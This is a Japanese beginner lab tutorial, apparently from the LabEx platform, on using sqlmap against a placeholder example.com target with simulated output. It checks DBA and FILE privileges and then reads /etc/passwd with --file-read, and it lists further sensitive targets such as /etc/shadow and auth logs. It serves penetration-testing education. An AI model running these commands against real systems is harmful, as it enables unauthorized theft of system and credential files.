sqlmap でサーバーから任意のファイルを読み取る

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、SQL インジェクションの脆弱性を検出し悪用するプロセスを自動化する、人気のオープンソースペネトレーションテストツールである sqlmap の強力な機能を探求します。具体的には、ターゲットサーバーから任意のファイルを読み取るために sqlmap を使用する方法を学びます。この機能は、基盤となるデータベースユーザーが十分な権限(例:DBA 権限)を持ち、データベースシステムがファイルシステムからのファイルの読み取りを許可している場合に、しばしば可能になります。このテクニックを理解することは、倫理的なハッカーやセキュリティ専門家がこのような脆弱性を特定し軽減するために不可欠です。

DBA 権限とファイル読み取り権限の確認

このステップでは、SQL インジェクションの脆弱性を特定し、現在 sqlmap を使用してデータベースユーザーの権限を評価しているシナリオをシミュレートします。サーバーから任意のファイルを読み取るには、データベースユーザーは通常、DBA(データベース管理者)権限または特定のファイル読み取り権限が必要です。ここでは sqlmap を使用して、現在のデータベースユーザーがこれらの昇格された権限を持っているかを確認します。

まず、脆弱な URL があると仮定します。この実験ではプレースホルダーURL を使用します。実際のテスト環境で実行している場合は、http://example.com/vulnerable?id=1 を実際のターゲットに置き換えてください。

DBA 権限を確認するには、sqlmap--is-dba フラグを使用します。

sqlmap -u "http://example.com/vulnerable?id=1" --is-dba

注: 実際のシナリオでは、sqlmap はまず SQL インジェクションを検出し、次に DBA 権限の確認に進みます。この実験ではファイル読み取りの側面に焦点を当てているため、sqlmap が既にインジェクションポイントを見つけていると仮定します。

出力が [INFO] current user is DBA: True と表示された場合、そのユーザーは DBA 権限を持っており、これは多くの場合ファイルの読み取り能力を意味します。

次に、ファイル読み取り権限を確認するには、--file-priv フラグを使用できます。

sqlmap -u "http://example.com/vulnerable?id=1" --file-priv

このコマンドは、データベースユーザーがファイルシステム上のファイルを読み書きするために必要な権限を持っているかどうかを判断しようとします。出力に [INFO] current user has FILE privilege: True と表示された場合、ファイルを読み進めることができる可能性が高いです。

出力例(シミュレーション):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/

この出力は、データベースユーザーが DBA 権限と FILE 権限の両方を持っており、任意のファイル読み取りが可能であることを確認しています。

既知の絶対ファイルパス(例:/etc/passwd)の特定

このステップでは、リモートサーバー上で読み取りたいターゲットファイルを特定する必要があります。任意のファイル読み取り脆弱性を実証するための一般的なターゲットは、Linux システム上の/etc/passwdです。これはユーザーアカウント情報を含み、通常は誰でも読み取れるようになっているためです。その他の潜在的なターゲットとしては、システムや目的によっては、設定ファイル、Web サーバーログ、またはアプリケーションソースコードなどが考えられます。

この実験では、ターゲットサーバーが Linux システムであり、/etc/passwd の内容を読み取りたいと仮定します。読み取りたいファイルの絶対パスを知ることが非常に重要です。絶対パスがないと、sqlmap はリモートシステム上のファイルを特定できません。

このステップでコマンドを実行する必要はありませんが、有効な絶対ファイルパスを特定することの重要性を理解してください。この知識は通常、偵察活動、Web アプリケーションからのエラーメッセージ、または一般的なファイル場所の推測によって得られます。

Linux における一般的なファイルパスの例:

  • /etc/passwd (ユーザーアカウント情報)
  • /etc/shadow (ハッシュ化されたパスワード - 通常、読み取りには root 権限が必要です)
  • /etc/hosts (ネットワークホスト名)
  • /etc/nginx/nginx.conf または /etc/apache2/apache2.conf (Web サーバー設定)
  • /var/log/auth.log または /var/log/syslog (システムログ)
  • /proc/self/cmdline (現在のプロセスのコマンドライン)

この実験では、ターゲットファイルとして/etc/passwdを使用します。

リモートファイルの指定に --file-read フラグを使用する

このステップでは、sqlmap--file-read フラグを使用して、リモートサーバーから読み取りたいファイルの絶対パスを指定する方法を学びます。このフラグは、任意のファイル読み取り機能の中核となります。

--file-read の使用構文は簡単です。

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"

http://example.com/vulnerable?id=1 をターゲット URL に、/path/to/remote/file を前のステップで特定したファイルの絶対パスに置き換えてください。

今回の実験では、/etc/passwd を読み取ろうとします。完全なコマンドは以下のようになります。

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

sqlmap がファイルを正常に読み取ると、その内容は ~/.sqlmap/output/<target_host>/files/ 内のディレクトリにローカルに保存されます。ファイル名は通常、リモートファイル名と同じになります(例:passwd)。

注: sqlmap は SQL インジェクションペイロードの生成と実行を自動的に処理します。あなたの役割は、脆弱な URL とターゲットファイルパスを提供することです。

リモートファイルの読み取りコマンドを実行する

前のステップで構築した sqlmap コマンドを実行して、実際にリモートファイルを読み取る時間です。LabEx 環境でターミナルを開き、コマンドを実行してください。

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

重要: これはシミュレーション環境であるため、sqlmap は実際の稼働中の脆弱なサーバーに接続しません。しかし、プロセスをシミュレートし、あたかも接続しているかのようにメッセージを出力します。インジェクションプロセスやファイル読み取りの試みに関する情報を含む、sqlmap の典型的な出力を確認できます。

出力例(シミュレーション):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (簡潔にするために省略) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/

注目すべき重要な行は [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd' です。これは、sqlmap がファイルを正常に「読み取り」、その内容を sqlmap の出力ディレクトリ内のローカルマシンに保存したことを示しています。

ローカルに保存されたファイルのコンテンツを表示する

最終ステップでは、sqlmap によってファイルが実際に「読み取られ」、保存されたことを、ローカルの LabEx 環境でそのコンテンツを表示することによって確認します。前述のように、sqlmap は抽出されたファイルを特定のディレクトリ構造に保存します。

パスは通常 ~/.sqlmap/output/<target_host>/files/ となります。今回のシミュレーション例では、ターゲットホストは example.com で、ファイルは passwd です。したがって、保存されたファイルへの完全なパスは ~/.sqlmap/output/example.com/files/passwd となります。

このファイルのコンテンツを表示するには cat コマンドを使用できます。

cat ~/.sqlmap/output/example.com/files/passwd

出力例(シミュレーション):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (簡潔にするために省略) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash

この出力は、sqlmap がシミュレートされたリモートサーバーから /etc/passwd ファイルを正常に「読み取り」、ローカルに保存したことを確認するもので、その内容を検査することができます。これにより、任意のファイル読み取りのための sqlmap の使用プロセス全体が実証されます。

まとめ

この実験では、シミュレートされた脆弱なサーバーから任意のファイルを読み取るために sqlmap を使用する方法を学びました。まず、DBA またはファイル読み取り権限を確認することの重要性を理解しました。次に、一般的なターゲットファイル(/etc/passwd)を特定し、--file-read フラグを使用してそのコンテンツを抽出するように sqlmap に指示しました。最後に、ローカルに保存されたファイルを表示して、抽出が成功したことを確認しました。このスキルは、ペネトレーションテスターが SQL インジェクションの脆弱性の影響を評価する上で、また開発者がそのような攻撃を防ぐために適切な権限管理と入力検証の重要性を理解する上で不可欠です。